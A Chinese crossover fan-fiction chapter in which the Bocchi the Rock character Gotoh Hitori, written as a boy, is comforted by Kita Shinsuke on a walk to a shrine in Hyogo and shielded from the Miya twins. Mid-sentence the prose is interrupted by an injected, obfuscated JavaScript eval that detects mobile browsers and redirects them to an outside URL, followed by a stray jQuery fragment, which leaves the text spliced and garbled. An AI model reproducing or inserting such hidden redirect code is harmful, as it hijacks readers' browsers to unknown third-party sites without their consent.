北家的和室弥漫着淡淡的榻榻米草香和热茶的氤氲。后藤一里局促地跪坐在矮桌前，双手紧紧捧着北奶奶递过来的热茶，指尖传来的温度驱散了一些身体的冰冷，却无法融化心底的寒冰。他低着头，粉色的刘海遮住了眼睛，身体依旧残留着细微的、无法控制的颤抖。
北奶奶坐在他对面，布满皱纹的脸上满是慈祥与真切的担忧。她絮絮叨叨地说着：“可怜的孩子，吓坏了吧？这兵库说大不大，说小也不小，一个人走丢了多害怕啊。你看你这脸色，白得跟纸一样…是不是晚饭也没吃好？信介他爸那些老朋友的孩子，就跟自家孩子一样，千万别拘束…”
后藤一里只是机械地小口啜着热茶，滚烫的液体滑过喉咙，带来一丝灼痛感，反而让他混乱的思绪有了一点微弱的锚点。他不敢抬头，不敢回应。北奶奶的每一句关切，都像一根细针，轻轻戳刺着他内心的愧疚。这份温暖是真实的，但给予的对象——那个“担心父母而迷路的后藤一里”——却是系统虚构的产物。他像一个可耻的骗子，侵占了本不属于他的善意。
“信介啊，” 北奶奶转向安静坐在一旁、正一丝不苟地叠着擦汗毛巾的孙子，“我看一里这孩子，心里头还是慌得很，怕是还没缓过劲儿来。光坐在这儿也不行，你带他出去走走？就附近，神社那条小路清净，空气也好，散散心，兴许能好受点。” 她显然将后藤的极度沉默和紧张，理解成了对“父母下落不明”的持续担忧和惊吓。
北信介停下手中的动作，平静的目光落在后藤一里紧绷的脊背上。他看到了少年指关节因为用力握紧茶杯而泛出的青白，看到了那细微却持续的颤抖。这不仅仅是“迷路后怕”能解释的状态。但他什么也没问，只是顺从地点点头：“好。我去拿外套。”
后藤一里听到“出去走走”，身体下意识地绷得更紧了。出去？意味着要再次暴露在陌生的街道、可能遇到陌生人…社恐的本能疯狂拉响警报。但他无法拒绝。在北奶奶殷切的目光下，在北信介无声的等待中，拒绝似乎比出去更困难，也更显得“异常”。
他几乎是同手同脚地跟着北信介走出了北家古朴的木门。傍晚的风带着兵库特有的湿润凉意，吹拂在脸上，让他混沌的头脑稍微清醒了一丝。
北信介走在前面半步的距离，步伐不快，每一步都踏得异常平稳，如同丈量土地。他没有试图找话题闲聊，没有多余的安慰，甚至连目光都没有过多地投向后藤，只是沉默地走着，像一座移动的、沉默的山峦。
这份沉默，起初让后藤一里感到更加窒息。他习惯了在人群中努力缩小自己，习惯了被忽视，但此刻，身边有一个存在感如此强烈却又如此安静的人，反而让他无所适从。他感觉自己的心跳声、呼吸声，甚至衣服摩擦的声音，在这份寂静中被无限放大，震耳欲聋。
他只能低着头，视线死死盯着北信介脚后跟移动的轨迹，像一个提线木偶般跟着。街道两旁是安静的民居，偶尔有自行车铃声叮铃铃地掠过。夕阳的金辉涂抹在屋瓦和围墙上，拉长了两人沉默的影子。
一步，两步，三步…
没有审视的目光，没有需要应对的交谈，没有突如其来的噪音。只有规律的脚步声，风吹过树叶的沙沙声，以及身边这个人散发出的、如同大地般沉静安稳的气息。
渐渐地，一种奇异的感觉开始滋生。
北信介的沉默，并非冷漠的忽视，更像是一种…包容的留白。他没有试图闯入后藤一里混乱的精神世界，没有施加任何压力，只是用自己稳定的存在，为他隔开了一个小小的、暂时安全的缓冲区。不需要表演，不需要解释，甚至不需要思考如何回应。
后藤一里紧绷的神经，在这份无声的包容中，如同被浸泡在温水中，一点一点、极其缓慢地松弛下来。那因为剧烈情绪反噬和空间错位带来的、如同实质般包裹着他的恐惧和绝望的“硬壳”，在北信介这如同恒定背景音般的沉默陪伴下，开始出现细微的裂痕。
他依旧低着头，但肩膀不再那么僵硬地耸着。呼吸虽然还是轻浅，却不再带着那种濒死的急促。一直紧攥着的拳头，也微微松开了一些，掌心被指甲掐出的月牙形痕迹清晰可见。他依旧害怕外面的世界，害怕即将到来的未知，但至少在这一刻，在这条通往神社的、被夕阳染成金色的安静小路上，他获得了一个珍贵的、喘息的空间。仿佛溺水之人终于将头短暂地探出了水面，贪婪地吸入了一口带着草木清香的空气。
这份来之不易的平静，如同薄冰般脆弱。
就在小路即将转入通往稻荷神社的鸟居参道时，一个充满活力、带着典型关西腔的大嗓门，如同平地惊雷般打破了黄昏的宁静：
“喂——！！！阿侑！快点！再磨蹭便利店新出的饭团就要被抢光了！”
“吵死了猪治！你以为谁都跟你一样脑子里只有吃吗？刚训练完一身汗，至少让我喘口气！”
两个身影风风火火地从神社参道的石阶上冲了下来，差点和正要拐弯的北信介、后藤一里撞个满怀！
冲在前面的是宫治，银灰色的头发在夕阳下显得格外耀眼，脸上还带着运动后的红晕和迫不及待的急躁。紧随其后的是宫侑，金灿灿的头发微湿，表情带着对自家兄弟的无奈，但眼神同样锐利。
“北前辈好。”宫治看到北信介后打了个招呼。
在后面的宫侑看清面前的人，夸张地“哇哦”了一声：“北前辈？！这么巧！你是来参拜的吗？” 他目光扫过北信介身后那个低着头、粉色头发、穿着明显不合身（北信介找给他的一件干净旧运动外套）且状态异常紧绷的陌生少年，好奇地扬起了眉毛，“这位是…？”他的目光瞬间锁定了后藤一里的脚——那双沾着体育馆特有蜡痕、鞋底纹路磨损清晰可见的专业排球鞋。他的眼神微微一凝“排球鞋？这鞋…东京那边的牌子？井冈山？枭谷？”他大大咧咧地就想凑近点看。
北信介不动声色地微微侧身，挡在了后藤一里和宫侑之间，动作
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16013689|173672||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
自然得如同拂去衣袖上的灰尘。他平静地开口，声音不高，却带着一种奇异的、让吵闹瞬间降温的力量：“宫侑，宫治。这位是后藤君，东京来的客人，暂时住在我家。他身体有些不舒服，我带他出来透透气。” 他的目光平静地扫过宫兄弟，“你们不是要去便利店吗？快去吧，晚了可能真的没了。”
北信介的话如同一个无形的屏障，既解释了后藤的存在，又明确地传递了“请勿打扰”的信号，尤其是那句“身体不舒服”。
宫治虽然和宫侑是双胞胎，但到底比宫侑要沉稳一些。听到“身体不舒服”，再看后藤那几乎要缩进外套里的鸵鸟姿态，他立刻收敛了原本并不旺盛的好奇心，挠了挠头：“啊…这样啊！抱歉抱歉！打扰前辈了！阿侑快走！再不去饭团就被抢光了！” 他拉着还想再观察一下的宫侑，风风火火地继续朝便利店方向冲去，还不忘回头喊了一句：“北前辈！后藤君！好好休息啊！”
宫侑被宫治拉着跑，但离开前，他还是回头深深地看了一眼那个被北信介护在身后的、粉色头发的单薄身影。那双排球鞋，还有那种极度不安的状态…都让他感到一种违和感。他低声对宫治说：“喂，猪治，你不觉得那个人…有点怪吗？而且他穿的是排球鞋…”
“哎呀管他呢！北前辈都说了是客人身体不舒服！快走啦！我的限量版金枪鱼蛋黄酱饭团——！”
双胞胎吵闹的声音迅速远去。
后藤一里在宫兄弟出现的那一刻，心脏几乎要跳出胸腔！那充满存在感的吵闹和审视的目光，瞬间将他从短暂的平静中狠狠拽回社恐的深渊！他感觉全身的血液都冲向了头顶，又瞬间褪去，手脚冰凉，只想立刻原地消失！他甚至没听清北信介具体说了什么，只感觉那令人窒息的压力如同潮水般涌来。
然而，北信介那沉稳的挡在他身前的动作，以及那平静无波却极具分量的话语，像一道坚固的堤坝，为他挡住了汹涌的“噪音”和“目光”的洪流。当宫兄弟的声音彻底消失在街道尽头时，后藤一里才惊觉自己刚才一直屏着呼吸，后背的冷汗已经浸透了内衫。
他依旧低着头，身体因为刚才的惊吓而微微发颤。但这一次，他没有再陷入完全的崩溃。北信介那沉默却坚实的庇护，如同一个短暂的避风港，让他得以在风暴擦肩而过后，没有彻底倾覆。
北信介没有立刻说话，也没有回头看他，只是静静地站着，仿佛在等待那残留的惊悸自行平息。夕阳将两人的影子拉得很长很长，投向通往神社的静谧石阶。
过了好一会儿，北信介才再次迈开脚步，依旧是那种平稳的节奏，声音也依旧平静：“前面是稻荷神社。傍晚人很少。要去看看吗？或者，回去？”
后藤一里没有回答。他深吸了一口气，带着凉意的空气涌入肺腑，带着一丝劫后余生的颤抖。他默默地跟上北信介的脚步，这一次，他稍稍抬起了头，视线不再只盯着地面，而是望向了前方被夕阳染成橘红色的、安静伫立的鸟居。